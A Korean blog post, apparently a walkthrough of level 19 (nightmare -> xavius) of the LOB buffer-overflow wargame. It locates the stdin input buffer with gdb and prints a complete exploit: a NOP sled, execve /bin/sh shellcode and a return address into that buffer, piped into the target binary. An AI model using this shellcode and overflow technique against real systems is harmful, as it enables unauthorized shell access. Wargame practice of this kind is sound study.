ii4gsp
LOB - Level19 [nightmare -> xavius] 본문
stack 영역을 사용할 수 없다.
라이브러리 영역도 사용할 수 없다.
또한 fgets()함수에서 arg로 입력을 받지않고 뜬금없이 stdin으로 입력을 받는다.
stdin은 표준입력 파일 스트림이다.
stdin은 입력 버퍼를 가지고 있다.
파일 복사 후 gdb로 파일을 열어주자
eax 레지스터에 0x8049a3c가 복사되고 push 된다.
0x8049a3c가 stdin의 주소이다.
ret가 실행되기전 <main+278> 부분에 break point를 걸어주고 프로그램 실행 후 값을 넣어주자
stdin+4는 buffer의 end부분을 가리키고 stdin+12는 buffer의 start부분을 가리킨다.
buffer의 start부분인 0x40015000을 payload에 사용하면된다.
페이로드는
NOP * 19 + shellcode + 0x40015000
[19byte] [25byte] [4byte]
payload
(python -c 'print "\x90" * 19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x00\x50\x01\x40"';cat) | ./xavius
'시스템 해킹 > LOB' 카테고리의 다른 글
LOB - Level18 [succubus -> nightmare] (0) | 2020.01.28 |
---|---|
LOB - Level17 [zombie_assassin -> succubus] (0) | 2020.01.27 |
LOB - Level16 [assassin -> zombie_assassin] (0) | 2020.01.26 |
LOB - Level15 [giant -> assassin] (0) | 2020.01.25 |
LOB - Level14 [bugbear -> giant] (0) | 2020.01.23 |
Comments